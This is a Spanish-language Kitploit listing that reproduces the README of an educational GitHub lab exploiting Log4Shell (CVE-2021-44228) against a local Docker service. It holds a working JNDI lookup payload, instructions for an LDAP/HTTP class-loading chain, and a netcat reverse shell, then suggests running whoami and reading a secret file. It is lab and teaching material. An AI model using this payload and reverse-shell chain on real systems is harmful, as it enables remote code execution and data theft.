Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
log4j-vulnerability — Presenta cómo explotar la vulnerabilidad CVE-2021-44228. | Kitploit
Herramientas/GitHubGitHub/marceloleite2604/log4j-vulnerability
Análisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebComando y ControlAprendizaje y EducaciónHerramienta de Acceso RemotoDesarrollo de PayloadsLabs y Práctica
GitHubmarceloleite2604/log4j-vulnerability

log4j-vulnerability

Presenta cómo explotar la vulnerabilidad CVE-2021-44228.

Ver Repositorio
1hace 4 añosAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

Vulnerabilidad LOG4J

Un proyecto basado en Java que presenta cómo explotar la vulnerabilidad CVE-2021-44228.

https://user-images.githubusercontent.com/13152452/147803050-458593e9-4b54-4e1f-ba07-802866b9b43e.mp4

Requisitos

  • Un sistema operativo basado en Linux: usé Ubuntu Desktop 20.10 64 bits
  • OpenJDK 17.0.1: Para construir el programa de explotación. Versiones más recientes también pueden funcionar.
  • Oracle Java Development Kit (JDK) 1.8.0_181: Esto es esencial para que la explotación funcione. No es necesario tenerlo instalado, pero el proyecto necesita que esté extraído en el directorio raíz. El JDK se puede encontrar en la página de descargas del archivo Oracle Java SE 8 (JDK 8u202 y anteriores).
  • Apache Maven 3.6.3: Para gestionar dependencias y generar archivos jar. Versiones posteriores pueden funcionar también.
  • Docker 20.10.12: Para gestionar el contenedor que contiene el servicio a explotar. Versiones posteriores pueden funcionar también.
  • Docker-compose 1.29.2: Para ayudar a orquestar la generación de imágenes, así como la creación, ejecución y eliminación de contenedores. Versiones posteriores pueden funcionar también.
  • GNU Make 4.3: Este proyecto usa Makefile para ayudar a verificar y generar archivos obligatorios. Versiones posteriores pueden funcionar también.
  • OpenBSD Netcat (también conocido como nc): Para crear la comunicación con el servidor invadido. Este paquete se puede instalar a través del gestor de paquetes de tu distribución Linux (como apt).
  • (Recomendado) IntelliJ IDEA Community Edition 2021.3.1: Si quieres ver qué hay debajo del capó de estos proyectos, recomiendo instalar este IDE. Una vez más, versiones posteriores pueden funcionar también.

Ejecución

  1. Clona este repositorio en tu máquina local.
  2. Descarga desde la página de descargas del archivo Oracle Java SE 8 (JDK 8u202 y anteriores) y extráelo en el directorio raíz del proyecto. Mantenlo en el directorio jdk1.8.0_181 creado durante la extracción.
  3. Ejecuta make all para construir todos los proyectos y crear una imagen Docker con el servicio vulnerable.
  4. Abre tres terminales y ejecuta los siguientes comandos:
    1. Primer terminal: make start-vulnerable-service para iniciar un contenedor Docker que ejecute el servicio a explotar. El servicio será accesible a través del puerto 8080 de la máquina local.
    2. Segundo terminal: make start-nc para iniciar un listener TCP que esperará a que se establezca la conexión con el servidor invadido.
    3. Tercer terminal: make start-exploiter para iniciar el programa que nos ayudará a explotar la vulnerabilidad.
  5. Después de iniciar el tercer terminal, el programa exploiter presentará una URL para acceder. Pégala en tu navegador para iniciar la explotación.
  6. Si todo sucede como se espera, el navegador no recibirá una respuesta y se quedará atascado en un estado de carga.
  7. Ahora revisa el segundo terminal (aquel donde se ejecutó make start-nc). Puede que hayas recibido un mensaje como Connection received on 172.24.0.2 46638 (la dirección IP y el puerto TCP pueden no ser los mismos que se muestran aquí). Esto significa que la explotación funcionó y ahora tenemos una shell conectada al servidor/contenedor Docker.

¿Cómo funciona?

Antes de responder eso, echemos un vistazo a los procesos creados a lo largo del flujo.

log4-vulnerability processeses

Contenedor Docker

Este contenedor Docker servirá un servicio HTTP simple responsable de recibir solicitudes GET en la ruta /log con un parámetro input. Una vez que lo recibe, registra la entrada en la consola.

https://user-images.githubusercontent.com/13152452/147826880-8ee10391-bcb7-46d3-8d69-2f7ddb4a7b37.mp4

Para explotar la vulnerabilidad, se requieren algunas configuraciones específicas:

  • La versión del entorno de ejecución de Java (JRE) utilizada para ejecutar el servicio es 1.8.0_181. Esto es necesario para permitir que se cargue una clase Java desde un servicio externo.
  • Las dependencias del proyecto Java deben modificarse considerablemente para reemplazar el spring-boot-starter-logging:2.6.1 predeterminado por spring-boot-starter-log4j2:2.6.1. Este último trae log4j-core:2.14.1 al proyecto, que es una versión vulnerable a CVE-2021-44228.

dependency-tree

  • El archivo Jar del servicio se creó con la versión del compilador Java 1.8.0_181.

Programa Netcat (nc)

No hay grandes explicaciones ni ajustes aquí. Es un programa simple utilizado para leer y escribir datos a través de los protocolos TCP y UDP. Lo usaremos para mantener la escucha de conexiones TCP entrantes en el puerto 9001 (algo más abrirá esta conexión por nosotros en el lado del servidor. 😉).

Una vez que se establece la conexión, todos los datos entrantes se mostrarán en la consola. Además, toda entrada escrita se enviará a través de esta conexión.

Exploiter

¡Aquí es donde comienza la diversión!

Este programa encapsula varios pasos necesarios para explotar la vulnerabilidad. Vamos a desglosarlo:

Argumentos de ejecución

Para ejecutar este programa, debemos informar tres parámetros:

  1. Dirección IP/host del servidor HTTP y Netcat: Para explotar la vulnerabilidad, necesitaremos la dirección IP del servidor HTTP relativa al servicio vulnerable para que nuestra respuesta LDAP pueda redirigirlo a descargar la clase Java compilada a través de él. También será utilizada por la propia clase Java para abrir una conexión TCP con Netcat (explicado anteriormente).
  2. Puerto del servidor HTTP: El puerto donde el servidor HTTP responsable de enviar la clase Java compilada aceptará conexiones. También se enviará con la respuesta LDAP para informar el puerto desde donde se descargará la clase Java compilada.
  3. Puerto de Netcat: El puerto donde Netcat está escuchando conexiones. Será utilizado por la clase Java compilada para abrir una conexión TCP con Netcat.

Clase Java Exploit

Una vez que el programa se inicie, escribirá un código Java basado en una plantilla. Esta plantilla requiere dos argumentos: la dirección IP y el puerto de Netcat.

Una vez escrito el código, el programa lo compilará en un archivo de clase binario utilizando el compilador de Java (javac) versión 1.8.0_181. Esto es importante para mantener la misma versión de código que el servicio explotado.

La clase Java Exploit tiene una estructura bastante simple. En su constructor hay una instrucción que solicita al sistema operativo crear un programa shell. Una vez creado, la clase abre una conexión TCP con Netcat, enlaza las entradas y salidas de la shell y la conexión TCP, y atrapa la ejecución de la máquina virtual Java en un bucle hasta que Netcat cierra la conexión. Una vez que sale del bucle, el constructor continúa como si nada hubiera pasado.

Programa Marshalsec

Exploiter abre un subproceso solicitando la ejecución del programa Java Marshalsec. El programa Marshalsec está disponible en el proyecto Github mbechler/marshalsec.

Junto con otras funcionalidades, gestiona solicitudes LDAP y puede usarse para pedir a las conexiones entrantes que resuelvan solicitudes descargando clases Java desde una fuente externa. En nuestro caso, lo usaremos para solicitar a las conexiones entrantes que descarguen nuestra clase Java Exploit desde el servicio HTTP.

Servicio HTTP

Una vez que el programa Exploiter ha creado la clase Java modificada, iniciará un servicio HTTP con una única respuesta: la clase Java binaria Exploit.

En resumen, cuando el servicio vulnerable solicita que se cargue la clase externa, este servicio leerá el archivo binario de la clase Java y lo enviará de vuelta al servicio vulnerable. ¡Así de simple!

Una solicitud HTTP para gobernarlos a todos

Una vez que todo esté en marcha, el programa mostrará la solicitud HTTP necesaria para desencadenar la explotación. Simplemente cópiala y pégala en tu navegador favorito o usa curl desde un terminal, ¡lo que mejor te funcione!

La solicitud será algo similar a esto:

root@kitploit:~
http://localhost:8080/log?input=%24%7Bjndi%3Aldap%3A%2F%2Fhost.docker.internal%3A1389%2Fa%7D

Dado que los parámetros de consulta contienen caracteres especiales, deben codificarse para que el navegador los acepte. Si lo decodificamos, el mensaje será:

root@kitploit:~
http://localhost:8080/log?input=${jndi:ldap://host.docker.internal:1389/a}

El flujo de comunicación

Aquí hay un diagrama simplificado de lo que sucede una vez que se envía la solicitud:

log4j-vulnerability communication flow

Intentaré usarlo para explicar lo que sucede a continuación:

  • El navegador enviará la solicitud HTTP a nuestro servicio vulnerable.
  • El servicio vulnerable aceptará la solicitud y registrará la entrada del usuario.
  • Una vez que log4j recibe el mensaje, nota que hay un contenido que debe resolverse: ${jndi:ldap://host.docker.internal:1389/a}.
  • Según el valor, el contenido a presentar debe recuperarse mediante el protocolo LDAP desde host.docker.internal:1389 usando la clave a (un nombre distinguido LDAP bastante insulso e inválido, pero, mientras funcione...). Luego, log4j envía una solicitud a esta dirección con la intención de recuperar el valor.

Observación: host.docker.internal es una dirección válida desde el servicio Docker para alcanzar la máquina física en la que se ejecuta.

  • El programa Marshalsec (ejecutándose localmente en el puerto 1389) aceptará entonces la solicitud entrante y pedirá al servicio vulnerable que descargue un archivo de clase Java disponible en host.docker.internal:8000 con el nombre Exploit para resolver la solicitud.
  • Luego, log4j envía una solicitud a host.docker.internal:8000 pidiendo obtener un recurso disponible en la ruta /Exploit.
  • El servicio HTTP (ejecutándose localmente en el puerto 8000) responderá entonces a la solicitud enviando la clase Java binaria Exploit.
  • Luego log4j intenta instanciar la clase para resolver la variable ejecutando su método constructor Exploit().
  • El método constructor Exploit() inicia un programa shell en el servidor y solicita que se abra un canal TCP con host.docker.internal:9001.
  • Netcat (ejecutándose localmente en el puerto 9001) acepta entonces la conexión TCP entrante.
  • Luego, el método constructor Exploit() enlaza las entradas y salidas de la shell con la conexión TCP y atrapa el hilo de la Máquina Virtual Java en un bucle hasta que la conexión TCP es cerrada por el otro lado.
  • Ahora se puede usar Netcat para enviar comandos shell y recibir salidas del servidor.

Consideraciones

TBD

Referencias

proyecto Github kozmer/log4j-shell-poc - Me ayudó a entender cómo funciona la explotación. ¡Gracias a todos los que contribuyeron a este proyecto!

proyecto Github mbechler/marshalsec - No habría podido trabajar con la comunicación y redirección LDAP tan rápido como lo hice sin este proyecto. ¡Gracias, chicos!

Video de SrcCodes sobre la vulnerabilidad Log4j - Un video bien explicado que muestra cómo iniciar la explotación en un programa basado en Spring.

Video de demostración de explotación de CVE-2021-44228 por Nowcomm - Un buen video que explica cómo explotar CVE-2021-44228 en Apache Solr. ¡Tuve que ver la segunda mitad como una docena de veces para entender lo que realmente estaba pasando! 😛

Descargar herramienta
  • Para asegurarte de que todo ocurrió como se esperaba, intenta ejecutar el comando whoami. Puede que recibas root como salida.
  • Ahora intenta ejecutar cat ../private-directory/my-secret-file.txt para ver qué sucede. 🙂
  • Una vez que hayas terminado de jugar con el servidor, presiona CTRL+C para cerrar la conexión.
  • También puedes presionar CTRL+C en los otros terminales para interrumpir los procesos.